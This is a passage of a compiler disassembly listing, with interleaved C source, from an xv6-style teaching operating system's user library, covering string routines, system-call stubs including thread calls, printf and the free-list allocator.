de: 38 c2 cmp %al,%dl
e0: 74 de je c0 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
e2: 8b 45 08 mov 0x8(%ebp),%eax
e5: 0f b6 00 movzbl (%eax),%eax
e8: 0f b6 d0 movzbl %al,%edx
eb: 8b 45 0c mov 0xc(%ebp),%eax
ee: 0f b6 00 movzbl (%eax),%eax
f1: 0f b6 c0 movzbl %al,%eax
f4: 29 c2 sub %eax,%edx
f6: 89 d0 mov %edx,%eax
}
f8: 5d pop %ebp
f9: c3 ret
000000fa <strlen>:
uint
strlen(char *s)
{
fa: 55 push %ebp
fb: 89 e5 mov %esp,%ebp
fd: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
100: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
107: eb 04 jmp 10d <strlen+0x13>
109: 83 45 fc 01 addl $0x1,-0x4(%ebp)
10d: 8b 55 fc mov -0x4(%ebp),%edx
110: 8b 45 08 mov 0x8(%ebp),%eax
113: 01 d0 add %edx,%eax
115: 0f b6 00 movzbl (%eax),%eax
118: 84 c0 test %al,%al
11a: 75 ed jne 109 <strlen+0xf>
;
return n;
11c: 8b 45 fc mov -0x4(%ebp),%eax
}
11f: c9 leave
120: c3 ret
00000121 <memset>:
void*
memset(void *dst, int c, uint n)
{
121: 55 push %ebp
122: 89 e5 mov %esp,%ebp
stosb(dst, c, n);
124: 8b 45 10 mov 0x10(%ebp),%eax
127: 50 push %eax
128: ff 75 0c pushl 0xc(%ebp)
12b: ff 75 08 pushl 0x8(%ebp)
12e: e8 32 ff ff ff call 65 <stosb>
133: 83 c4 0c add $0xc,%esp
return dst;
136: 8b 45 08 mov 0x8(%ebp),%eax
}
139: c9 leave
13a: c3 ret
0000013b <strchr>:
char*
strchr(const char *s, char c)
{
13b: 55 push %ebp
13c: 89 e5 mov %esp,%ebp
13e: 83 ec 04 sub $0x4,%esp
141: 8b 45 0c mov 0xc(%ebp),%eax
144: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
147: eb 14 jmp 15d <strchr+0x22>
if(*s == c)
149: 8b 45 08 mov 0x8(%ebp),%eax
14c: 0f b6 00 movzbl (%eax),%eax
14f: 3a 45 fc cmp -0x4(%ebp),%al
152: 75 05 jne 159 <strchr+0x1e>
return (char*)s;
154: 8b 45 08 mov 0x8(%ebp),%eax
157: eb 13 jmp 16c <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
159: 83 45 08 01 addl $0x1,0x8(%ebp)
15d: 8b 45 08 mov 0x8(%ebp),%eax
160: 0f b6 00 movzbl (%eax),%eax
163: 84 c0 test %al,%al
165: 75 e2 jne 149 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
167: b8 00 00 00 00 mov $0x0,%eax
}
16c: c9 leave
16d: c3 ret
0000016e <gets>:
char*
gets(char *buf, int max)
{
16e: 55 push %ebp
16f: 89 e5 mov %esp,%ebp
171: 83 ec 18 sub $0x18,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
174: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
17b: eb 42 jmp 1bf <gets+0x51>
cc = read(0, &c, 1);
17d: 83 ec 04 sub $0x4,%esp
180: 6a 01 push $0x1
182: 8d 45 ef lea -0x11(%ebp),%eax
185: 50 push %eax
186: 6a 00 push $0x0
188: e8 47 01 00 00 call 2d4 <read>
18d: 83 c4 10 add $0x10,%esp
190: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
193: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
197: 7e 33 jle 1cc <gets+0x5e>
break;
buf[i++] = c;
199: 8b 45 f4 mov -0xc(%ebp),%eax
19c: 8d 50 01 lea 0x1(%eax),%edx
19f: 89 55 f4 mov %edx,-0xc(%ebp)
1a2: 89 c2 mov %eax,%edx
1a4: 8b 45 08 mov 0x8(%ebp),%eax
1a7: 01 c2 add %eax,%edx
1a9: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1ad: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
1af: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1b3: 3c 0a cmp $0xa,%al
1b5: 74 16 je 1cd <gets+0x5f>
1b7: 0f b6 45 ef movzbl -0x11(%ebp),%eax
1bb: 3c 0d cmp $0xd,%al
1bd: 74 0e je 1cd <gets+0x5f>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
1bf: 8b 45 f4 mov -0xc(%ebp),%eax
1c2: 83 c0 01 add $0x1,%eax
1c5: 3b 45 0c cmp 0xc(%ebp),%eax
1c8: 7c b3 jl 17d <gets+0xf>
1ca: eb 01 jmp 1cd <gets+0x5f>
cc = read(0, &c, 1);
if(cc < 1)
break;
1cc: 90 nop
buf[i++] = c;
if(c == '\n' || c == '\r')
break;
}
buf[i] = '\0';
1cd: 8b 55 f4 mov -0xc(%ebp),%edx
1d0: 8b 45 08 mov 0x8(%ebp),%eax
1d3: 01 d0 add %edx,%eax
1d5: c6 00 00 movb $0x0,(%eax)
return buf;
1d8: 8b 45 08 mov 0x8(%ebp),%eax
}
1db: c9 leave
1dc: c3 ret
000001dd <stat>:
int
stat(char *n, struct stat *st)
{
1dd: 55 push %ebp
1de: 89 e5 mov %esp,%ebp
1e0: 83 ec 18 sub $0x18,%esp
int fd;
int r;
fd = open(n, O_RDONLY);
1e3: 83 ec 08 sub $0x8,%esp
1e6: 6a 00 push $0x0
1e8: ff 75 08 pushl 0x8(%ebp)
1eb: e8 0c 01 00 00 call 2fc <open>
1f0: 83 c4 10 add $0x10,%esp
1f3: 89 45 f4 mov %eax,-0xc(%ebp)
if(fd < 0)
1f6: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
1fa: 79 07 jns 203 <stat+0x26>
return -1;
1fc: b8 ff ff ff ff mov $0xffffffff,%eax
201: eb 25 jmp 228 <stat+0x4b>
r = fstat(fd, st);
203: 83 ec 08 sub $0x8,%esp
206: ff 75 0c pushl 0xc(%ebp)
209: ff 75 f4 pushl -0xc(%ebp)
20c: e8 03 01 00 00 call 314 <fstat>
211: 83 c4 10 add $0x10,%esp
214: 89 45 f0 mov %eax,-0x10(%ebp)
close(fd);
217: 83 ec 0c sub $0xc,%esp
21a: ff 75 f4 pushl -0xc(%ebp)
21d: e8 c2 00 00 00 call 2e4 <close>
222: 83 c4 10 add $0x10,%esp
return r;
225: 8b 45 f0 mov -0x10(%ebp),%eax
}
228: c9 leave
229: c3 ret
0000022a <atoi>:
int
atoi(const char *s)
{
22a: 55 push %ebp
22b: 89 e5 mov %esp,%ebp
22d: 83 ec 10 sub $0x10,%esp
int n;
n = 0;
230: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
while('0' <= *s && *s <= '9')
237: eb 25 jmp 25e <atoi+0x34>
n = n*10 + *s++ - '0';
239: 8b 55 fc mov -0x4(%ebp),%edx
23c: 89 d0 mov %edx,%eax
23e: c1 e0 02 shl $0x2,%eax
241: 01 d0 add %edx,%eax
243: 01 c0 add %eax,%eax
245: 89 c1 mov %eax,%ecx
247: 8b 45 08 mov 0x8(%ebp),%eax
24a: 8d 50 01 lea 0x1(%eax),%edx
24d: 89 55 08 mov %edx,0x8(%ebp)
250: 0f b6 00 movzbl (%eax),%eax
253: 0f be c0 movsbl %al,%eax
256: 01 c8 add %ecx,%eax
258: 83 e8 30 sub $0x30,%eax
25b: 89 45 fc mov %eax,-0x4(%ebp)
atoi(const char *s)
{
int n;
n = 0;
while('0' <= *s && *s <= '9')
25e: 8b 45 08 mov 0x8(%ebp),%eax
261: 0f b6 00 movzbl (%eax),%eax
264: 3c 2f cmp $0x2f,%al
266: 7e 0a jle 272 <atoi+0x48>
268: 8b 45 08 mov 0x8(%ebp),%eax
26b: 0f b6 00 movzbl (%eax),%eax
26e: 3c 39 cmp $0x39,%al
270: 7e c7 jle 239 <atoi+0xf>
n = n*10 + *s++ - '0';
return n;
272: 8b 45 fc mov -0x4(%ebp),%eax
}
275: c9 leave
276: c3 ret
00000277 <memmove>:
void*
memmove(void *vdst, void *vsrc, int n)
{
277: 55 push %ebp
278: 89 e5 mov %esp,%ebp
27a: 83 ec 10 sub $0x10,%esp
char *dst, *src;
dst = vdst;
27d: 8b 45 08 mov 0x8(%ebp),%eax
280: 89 45 fc mov %eax,-0x4(%ebp)
src = vsrc;
283: 8b 45 0c mov 0xc(%ebp),%eax
286: 89 45 f8 mov %eax,-0x8(%ebp)
while(n-- > 0)
289: eb 17 jmp 2a2 <memmove+0x2b>
*dst++ = *src++;
28b: 8b 45 fc mov -0x4(%ebp),%eax
28e: 8d 50 01 lea 0x1(%eax),%edx
291: 89 55 fc mov %edx,-0x4(%ebp)
294: 8b 55 f8 mov -0x8(%ebp),%edx
297: 8d 4a 01 lea 0x1(%edx),%ecx
29a: 89 4d f8 mov %ecx,-0x8(%ebp)
29d: 0f b6 12 movzbl (%edx),%edx
2a0: 88 10 mov %dl,(%eax)
{
char *dst, *src;
dst = vdst;
src = vsrc;
while(n-- > 0)
2a2: 8b 45 10 mov 0x10(%ebp),%eax
2a5: 8d 50 ff lea -0x1(%eax),%edx
2a8: 89 55 10 mov %edx,0x10(%ebp)
2ab: 85 c0 test %eax,%eax
2ad: 7f dc jg 28b <memmove+0x14>
*dst++ = *src++;
return vdst;
2af: 8b 45 08 mov 0x8(%ebp),%eax
}
2b2: c9 leave
2b3: c3 ret
000002b4 <fork>:
name: \
movl $SYS_ ## name, %eax; \
int $T_SYSCALL; \
ret
SYSCALL(fork)
2b4: b8 01 00 00 00 mov $0x1,%eax
2b9: cd 40 int $0x40
2bb: c3 ret
000002bc <exit>:
SYSCALL(exit)
2bc: b8 02 00 00 00 mov $0x2,%eax
2c1: cd 40 int $0x40
2c3: c3 ret
000002c4 <wait>:
SYSCALL(wait)
2c4: b8 03 00 00 00 mov $0x3,%eax
2c9: cd 40 int $0x40
2cb: c3 ret
000002cc <pipe>:
SYSCALL(pipe)
2cc: b8 04 00 00 00 mov $0x4,%eax
2d1: cd 40 int $0x40
2d3: c3 ret
000002d4 <read>:
SYSCALL(read)
2d4: b8 05 00 00 00 mov $0x5,%eax
2d9: cd 40 int $0x40
2db: c3 ret
000002dc <write>:
SYSCALL(write)
2dc: b8 10 00 00 00 mov $0x10,%eax
2e1: cd 40 int $0x40
2e3: c3 ret
000002e4 <close>:
SYSCALL(close)
2e4: b8 15 00 00 00 mov $0x15,%eax
2e9: cd 40 int $0x40
2eb: c3 ret
000002ec <kill>:
SYSCALL(kill)
2ec: b8 06 00 00 00 mov $0x6,%eax
2f1: cd 40 int $0x40
2f3: c3 ret
000002f4 <exec>:
SYSCALL(exec)
2f4: b8 07 00 00 00 mov $0x7,%eax
2f9: cd 40 int $0x40
2fb: c3 ret
000002fc <open>:
SYSCALL(open)
2fc: b8 0f 00 00 00 mov $0xf,%eax
301: cd 40 int $0x40
303: c3 ret
00000304 <mknod>:
SYSCALL(mknod)
304: b8 11 00 00 00 mov $0x11,%eax
309: cd 40 int $0x40
30b: c3 ret
0000030c <unlink>:
SYSCALL(unlink)
30c: b8 12 00 00 00 mov $0x12,%eax
311: cd 40 int $0x40
313: c3 ret
00000314 <fstat>:
SYSCALL(fstat)
314: b8 08 00 00 00 mov $0x8,%eax
319: cd 40 int $0x40
31b: c3 ret
0000031c <link>:
SYSCALL(link)
31c: b8 13 00 00 00 mov $0x13,%eax
321: cd 40 int $0x40
323: c3 ret
00000324 <mkdir>:
SYSCALL(mkdir)
324: b8 14 00 00 00 mov $0x14,%eax
329: cd 40 int $0x40
32b: c3 ret
0000032c <chdir>:
SYSCALL(chdir)
32c: b8 09 00 00 00 mov $0x9,%eax
331: cd 40 int $0x40
333: c3 ret
00000334 <dup>:
SYSCALL(dup)
334: b8 0a 00 00 00 mov $0xa,%eax
339: cd 40 int $0x40
33b: c3 ret
0000033c <getpid>:
SYSCALL(getpid)
33c: b8 0b 00 00 00 mov $0xb,%eax
341: cd 40 int $0x40
343: c3 ret
00000344 <sbrk>:
SYSCALL(sbrk)
344: b8 0c 00 00 00 mov $0xc,%eax
349: cd 40 int $0x40
34b: c3 ret
0000034c <sleep>:
SYSCALL(sleep)
34c: b8 0d 00 00 00 mov $0xd,%eax
351: cd 40 int $0x40
353: c3 ret
00000354 <uptime>:
SYSCALL(uptime)
354: b8 0e 00 00 00 mov $0xe,%eax
359: cd 40 int $0x40
35b: c3 ret
0000035c <halt>:
SYSCALL(halt)
35c: b8 16 00 00 00 mov $0x16,%eax
361: cd 40 int $0x40
363: c3 ret
00000364 <thread_create>:
SYSCALL(thread_create)
364: b8 17 00 00 00 mov $0x17,%eax
369: cd 40 int $0x40
36b: c3 ret
0000036c <thread_exit>:
SYSCALL(thread_exit)
36c: b8 18 00 00 00 mov $0x18,%eax
371: cd 40 int $0x40
373: c3 ret
00000374 <thread_join>:
SYSCALL(thread_join)
374: b8 19 00 00 00 mov $0x19,%eax
379: cd 40 int $0x40
37b: c3 ret
0000037c <gettid>:
SYSCALL(gettid)
37c: b8 1a 00 00 00 mov $0x1a,%eax
381: cd 40 int $0x40
383: c3 ret
00000384 <clone>:
SYSCALL(clone)
384: b8 1b 00 00 00 mov $0x1b,%eax
389: cd 40 int $0x40
38b: c3 ret
0000038c <putc>:
#include "stat.h"
#include "user.h"
static void
putc(int fd, char c)
{
38c: 55 push %ebp
38d: 89 e5 mov %esp,%ebp
38f: 83 ec 18 sub $0x18,%esp
392: 8b 45 0c mov 0xc(%ebp),%eax
395: 88 45 f4 mov %al,-0xc(%ebp)
write(fd, &c, 1);
398: 83 ec 04 sub $0x4,%esp
39b: 6a 01 push $0x1
39d: 8d 45 f4 lea -0xc(%ebp),%eax
3a0: 50 push %eax
3a1: ff 75 08 pushl 0x8(%ebp)
3a4: e8 33 ff ff ff call 2dc <write>
3a9: 83 c4 10 add $0x10,%esp
}
3ac: 90 nop
3ad: c9 leave
3ae: c3 ret
000003af <printint>:
static void
printint(int fd, int xx, int base, int sgn)
{
3af: 55 push %ebp
3b0: 89 e5 mov %esp,%ebp
3b2: 53 push %ebx
3b3: 83 ec 24 sub $0x24,%esp
static char digits[] = "0123456789ABCDEF";
char buf[16];
int i, neg;
uint x;
neg = 0;
3b6: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
if(sgn && xx < 0){
3bd: 83 7d 14 00 cmpl $0x0,0x14(%ebp)
3c1: 74 17 je 3da <printint+0x2b>
3c3: 83 7d 0c 00 cmpl $0x0,0xc(%ebp)
3c7: 79 11 jns 3da <printint+0x2b>
neg = 1;
3c9: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp)
x = -xx;
3d0: 8b 45 0c mov 0xc(%ebp),%eax
3d3: f7 d8 neg %eax
3d5: 89 45 ec mov %eax,-0x14(%ebp)
3d8: eb 06 jmp 3e0 <printint+0x31>
} else {
x = xx;
3da: 8b 45 0c mov 0xc(%ebp),%eax
3dd: 89 45 ec mov %eax,-0x14(%ebp)
}
i = 0;
3e0: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
do{
buf[i++] = digits[x % base];
3e7: 8b 4d f4 mov -0xc(%ebp),%ecx
3ea: 8d 41 01 lea 0x1(%ecx),%eax
3ed: 89 45 f4 mov %eax,-0xc(%ebp)
3f0: 8b 5d 10 mov 0x10(%ebp),%ebx
3f3: 8b 45 ec mov -0x14(%ebp),%eax
3f6: ba 00 00 00 00 mov $0x0,%edx
3fb: f7 f3 div %ebx
3fd: 89 d0 mov %edx,%eax
3ff: 0f b6 80 78 0a 00 00 movzbl 0xa78(%eax),%eax
406: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1)
}while((x /= base) != 0);
40a: 8b 5d 10 mov 0x10(%ebp),%ebx
40d: 8b 45 ec mov -0x14(%ebp),%eax
410: ba 00 00 00 00 mov $0x0,%edx
415: f7 f3 div %ebx
417: 89 45 ec mov %eax,-0x14(%ebp)
41a: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
41e: 75 c7 jne 3e7 <printint+0x38>
if(neg)
420: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
424: 74 2d je 453 <printint+0xa4>
buf[i++] = '-';
426: 8b 45 f4 mov -0xc(%ebp),%eax
429: 8d 50 01 lea 0x1(%eax),%edx
42c: 89 55 f4 mov %edx,-0xc(%ebp)
42f: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1)
while(--i >= 0)
434: eb 1d jmp 453 <printint+0xa4>
putc(fd, buf[i]);
436: 8d 55 dc lea -0x24(%ebp),%edx
439: 8b 45 f4 mov -0xc(%ebp),%eax
43c: 01 d0 add %edx,%eax
43e: 0f b6 00 movzbl (%eax),%eax
441: 0f be c0 movsbl %al,%eax
444: 83 ec 08 sub $0x8,%esp
447: 50 push %eax
448: ff 75 08 pushl 0x8(%ebp)
44b: e8 3c ff ff ff call 38c <putc>
450: 83 c4 10 add $0x10,%esp
buf[i++] = digits[x % base];
}while((x /= base) != 0);
if(neg)
buf[i++] = '-';
while(--i >= 0)
453: 83 6d f4 01 subl $0x1,-0xc(%ebp)
457: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
45b: 79 d9 jns 436 <printint+0x87>
putc(fd, buf[i]);
}
45d: 90 nop
45e: 8b 5d fc mov -0x4(%ebp),%ebx
461: c9 leave
462: c3 ret
00000463 <printf>:
// Print to the given fd. Only understands %d, %x, %p, %s.
void
printf(int fd, char *fmt, ...)
{
463: 55 push %ebp
464: 89 e5 mov %esp,%ebp
466: 83 ec 28 sub $0x28,%esp
char *s;
int c, i, state;
uint *ap;
state = 0;
469: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
ap = (uint*)(void*)&fmt + 1;
470: 8d 45 0c lea 0xc(%ebp),%eax
473: 83 c0 04 add $0x4,%eax
476: 89 45 e8 mov %eax,-0x18(%ebp)
for(i = 0; fmt[i]; i++){
479: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp)
480: e9 59 01 00 00 jmp 5de <printf+0x17b>
c = fmt[i] & 0xff;
485: 8b 55 0c mov 0xc(%ebp),%edx
488: 8b 45 f0 mov -0x10(%ebp),%eax
48b: 01 d0 add %edx,%eax
48d: 0f b6 00 movzbl (%eax),%eax
490: 0f be c0 movsbl %al,%eax
493: 25 ff 00 00 00 and $0xff,%eax
498: 89 45 e4 mov %eax,-0x1c(%ebp)
if(state == 0){
49b: 83 7d ec 00 cmpl $0x0,-0x14(%ebp)
49f: 75 2c jne 4cd <printf+0x6a>
if(c == '%'){
4a1: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
4a5: 75 0c jne 4b3 <printf+0x50>
state = '%';
4a7: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp)
4ae: e9 27 01 00 00 jmp 5da <printf+0x177>
} else {
putc(fd, c);
4b3: 8b 45 e4 mov -0x1c(%ebp),%eax
4b6: 0f be c0 movsbl %al,%eax
4b9: 83 ec 08 sub $0x8,%esp
4bc: 50 push %eax
4bd: ff 75 08 pushl 0x8(%ebp)
4c0: e8 c7 fe ff ff call 38c <putc>
4c5: 83 c4 10 add $0x10,%esp
4c8: e9 0d 01 00 00 jmp 5da <printf+0x177>
}
} else if(state == '%'){
4cd: 83 7d ec 25 cmpl $0x25,-0x14(%ebp)
4d1: 0f 85 03 01 00 00 jne 5da <printf+0x177>
if(c == 'd'){
4d7: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp)
4db: 75 1e jne 4fb <printf+0x98>
printint(fd, *ap, 10, 1);
4dd: 8b 45 e8 mov -0x18(%ebp),%eax
4e0: 8b 00 mov (%eax),%eax
4e2: 6a 01 push $0x1
4e4: 6a 0a push $0xa
4e6: 50 push %eax
4e7: ff 75 08 pushl 0x8(%ebp)
4ea: e8 c0 fe ff ff call 3af <printint>
4ef: 83 c4 10 add $0x10,%esp
ap++;
4f2: 83 45 e8 04 addl $0x4,-0x18(%ebp)
4f6: e9 d8 00 00 00 jmp 5d3 <printf+0x170>
} else if(c == 'x' || c == 'p'){
4fb: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp)
4ff: 74 06 je 507 <printf+0xa4>
501: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp)
505: 75 1e jne 525 <printf+0xc2>
printint(fd, *ap, 16, 0);
507: 8b 45 e8 mov -0x18(%ebp),%eax
50a: 8b 00 mov (%eax),%eax
50c: 6a 00 push $0x0
50e: 6a 10 push $0x10
510: 50 push %eax
511: ff 75 08 pushl 0x8(%ebp)
514: e8 96 fe ff ff call 3af <printint>
519: 83 c4 10 add $0x10,%esp
ap++;
51c: 83 45 e8 04 addl $0x4,-0x18(%ebp)
520: e9 ae 00 00 00 jmp 5d3 <printf+0x170>
} else if(c == 's'){
525: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp)
529: 75 43 jne 56e <printf+0x10b>
s = (char*)*ap;
52b: 8b 45 e8 mov -0x18(%ebp),%eax
52e: 8b 00 mov (%eax),%eax
530: 89 45 f4 mov %eax,-0xc(%ebp)
ap++;
533: 83 45 e8 04 addl $0x4,-0x18(%ebp)
if(s == 0)
537: 83 7d f4 00 cmpl $0x0,-0xc(%ebp)
53b: 75 25 jne 562 <printf+0xff>
s = "(null)";
53d: c7 45 f4 22 08 00 00 movl $0x822,-0xc(%ebp)
while(*s != 0){
544: eb 1c jmp 562 <printf+0xff>
putc(fd, *s);
546: 8b 45 f4 mov -0xc(%ebp),%eax
549: 0f b6 00 movzbl (%eax),%eax
54c: 0f be c0 movsbl %al,%eax
54f: 83 ec 08 sub $0x8,%esp
552: 50 push %eax
553: ff 75 08 pushl 0x8(%ebp)
556: e8 31 fe ff ff call 38c <putc>
55b: 83 c4 10 add $0x10,%esp
s++;
55e: 83 45 f4 01 addl $0x1,-0xc(%ebp)
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
562: 8b 45 f4 mov -0xc(%ebp),%eax
565: 0f b6 00 movzbl (%eax),%eax
568: 84 c0 test %al,%al
56a: 75 da jne 546 <printf+0xe3>
56c: eb 65 jmp 5d3 <printf+0x170>
putc(fd, *s);
s++;
}
} else if(c == 'c'){
56e: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp)
572: 75 1d jne 591 <printf+0x12e>
putc(fd, *ap);
574: 8b 45 e8 mov -0x18(%ebp),%eax
577: 8b 00 mov (%eax),%eax
579: 0f be c0 movsbl %al,%eax
57c: 83 ec 08 sub $0x8,%esp
57f: 50 push %eax
580: ff 75 08 pushl 0x8(%ebp)
583: e8 04 fe ff ff call 38c <putc>
588: 83 c4 10 add $0x10,%esp
ap++;
58b: 83 45 e8 04 addl $0x4,-0x18(%ebp)
58f: eb 42 jmp 5d3 <printf+0x170>
} else if(c == '%'){
591: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp)
595: 75 17 jne 5ae <printf+0x14b>
putc(fd, c);
597: 8b 45 e4 mov -0x1c(%ebp),%eax
59a: 0f be c0 movsbl %al,%eax
59d: 83 ec 08 sub $0x8,%esp
5a0: 50 push %eax
5a1: ff 75 08 pushl 0x8(%ebp)
5a4: e8 e3 fd ff ff call 38c <putc>
5a9: 83 c4 10 add $0x10,%esp
5ac: eb 25 jmp 5d3 <printf+0x170>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
5ae: 83 ec 08 sub $0x8,%esp
5b1: 6a 25 push $0x25
5b3: ff 75 08 pushl 0x8(%ebp)
5b6: e8 d1 fd ff ff call 38c <putc>
5bb: 83 c4 10 add $0x10,%esp
putc(fd, c);
5be: 8b 45 e4 mov -0x1c(%ebp),%eax
5c1: 0f be c0 movsbl %al,%eax
5c4: 83 ec 08 sub $0x8,%esp
5c7: 50 push %eax
5c8: ff 75 08 pushl 0x8(%ebp)
5cb: e8 bc fd ff ff call 38c <putc>
5d0: 83 c4 10 add $0x10,%esp
}
state = 0;
5d3: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp)
int c, i, state;
uint *ap;
state = 0;
ap = (uint*)(void*)&fmt + 1;
for(i = 0; fmt[i]; i++){
5da: 83 45 f0 01 addl $0x1,-0x10(%ebp)
5de: 8b 55 0c mov 0xc(%ebp),%edx
5e1: 8b 45 f0 mov -0x10(%ebp),%eax
5e4: 01 d0 add %edx,%eax
5e6: 0f b6 00 movzbl (%eax),%eax
5e9: 84 c0 test %al,%al
5eb: 0f 85 94 fe ff ff jne 485 <printf+0x22>
putc(fd, c);
}
state = 0;
}
}
}
5f1: 90 nop
5f2: c9 leave
5f3: c3 ret
000005f4 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
5f4: 55 push %ebp
5f5: 89 e5 mov %esp,%ebp
5f7: 83 ec 10 sub $0x10,%esp
Header *bp, *p;
bp = (Header*)ap - 1;
5fa: 8b 45 08 mov 0x8(%ebp),%eax
5fd: 83 e8 08 sub $0x8,%eax
600: 89 45 f8 mov %eax,-0x8(%ebp)
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
603: a1 94 0a 00 00 mov 0xa94,%eax
608: 89 45 fc mov %eax,-0x4(%ebp)
60b: eb 24 jmp 631 <free+0x3d>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
60d: 8b 45 fc mov -0x4(%ebp),%eax
610: 8b 00 mov (%eax),%eax
612: 3b 45 fc cmp -0x4(%ebp),%eax
615: 77 12 ja 629 <free+0x35>
617: 8b 45 f8 mov -0x8(%ebp),%eax
61a: 3b 45 fc cmp -0x4(%ebp),%eax
61d: 77 24 ja 643 <free+0x4f>
61f: 8b 45 fc mov -0x4(%ebp),%eax
622: 8b 00 mov (%eax),%eax
624: 3b 45 f8 cmp -0x8(%ebp),%eax
627: 77 1a ja 643 <free+0x4f>
free(void *ap)
{
Header *bp, *p;
bp = (Header*)ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
629: 8b 45 fc mov -0x4(%ebp),%eax
62c: 8b 00 mov (%eax),%eax
62e: 89 45 fc mov %eax,-0x4(%ebp)
631: 8b 45 f8 mov -0x8(%ebp),%eax
634: 3b 45 fc cmp -0x4(%ebp),%eax
637: 76 d4 jbe 60d <free+0x19>
639: 8b 45 fc mov -0x4(%ebp),%eax
63c: 8b 00 mov (%eax),%eax
63e: 3b 45 f8 cmp -0x8(%ebp),%eax
641: 76 ca jbe 60d <free+0x19>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
643: 8b 45 f8 mov -0x8(%ebp),%eax
646: 8b 40 04 mov 0x4(%eax),%eax
649: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
650: 8b 45 f8 mov -0x8(%ebp),%eax
653: 01 c2 add %eax,%edx
655: 8b 45 fc mov -0x4(%ebp),%eax
658: 8b 00 mov (%eax),%eax
65a: 39 c2 cmp %eax,%edx
65c: 75 24 jne 682 <free+0x8e>
bp->s.size += p->s.ptr->s.size;
65e: 8b 45 f8 mov -0x8(%ebp),%eax
661: 8b 50 04 mov 0x4(%eax),%edx
664: 8b 45 fc mov -0x4(%ebp),%eax
667: 8b 00 mov (%eax),%eax
669: 8b 40 04 mov 0x4(%eax),%eax
66c: 01 c2 add %eax,%edx
66e: 8b 45 f8 mov -0x8(%ebp),%eax
671: 89 50 04 mov %edx,0x4(%eax)
bp->s.ptr = p->s.ptr->s.ptr;
674: 8b 45 fc mov -0x4(%ebp),%eax
677: 8b 00 mov (%eax),%eax
679: 8b 10 mov (%eax),%edx
67b: 8b 45 f8 mov -0x8(%ebp),%eax
67e: 89 10 mov %edx,(%eax)
680: eb 0a jmp 68c <free+0x98>
} else
bp->s.ptr = p->s.ptr;
682: 8b 45 fc mov -0x4(%ebp),%eax
685: 8b 10 mov (%eax),%edx
687: 8b 45 f8 mov -0x8(%ebp),%eax
68a: 89 10 mov %edx,(%eax)
if(p + p->s.size == bp){
68c: 8b 45 fc mov -0x4(%ebp),%eax
68f: 8b 40 04 mov 0x4(%eax),%eax
692: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx
699: 8b 45 fc mov -0x4(%ebp),%eax
69c: 01 d0 add %edx,%eax
69e: 3b 45 f8 cmp -0x8(%ebp),%eax
6a1: 75 20 jne 6c3 <free+0xcf>
p->s.size += bp->s.size;
6a3: 8b 45 fc mov -0x4(%ebp),%eax
6a6: 8b 50 04 mov 0x4(%eax),%edx
6a9: 8b 45 f8 mov -0x8(%ebp),%eax
6ac: 8b 40 04 mov 0x4(%eax),%eax
6af: 01 c2 add %eax,%edx
6b1: 8b 45 fc mov -0x4(%ebp),%eax
6b4: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
6b7: 8b 45 f8 mov -0x8(%ebp),%eax
6ba: 8b 10 mov (%eax),%edx
6bc: 8b 45 fc mov -0x4(%ebp),%eax
6bf: 89 10 mov %edx,(%eax)
6c1: eb 08 jmp 6cb <free+0xd7>
} else
p->s.ptr = bp;
6c3: 8b 45 fc mov -0x4(%ebp),%eax
6c6: 8b 55 f8 mov -0x8(%ebp),%edx
6c9: 89 10 mov %edx,(%eax)
freep = p;
6cb: 8b 45 fc mov -0x4(%ebp),%eax
6ce: a3 94 0a 00 00 mov %eax,0xa94
}
6d3: 90 nop
6d4: c9 leave
6d5: c3 ret
000006d6 <morecore>:
static Header*
morecore(uint nu)
{
6d6: 55 push %ebp
6d7: 89 e5 mov %esp,%ebp
6d9: 83 ec 18 sub $0x18,%esp
char *p;
Header *hp;
if(nu < 4096)
6dc: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp)
6e3: 77 07 ja 6ec <morecore+0x16>
nu = 4096;
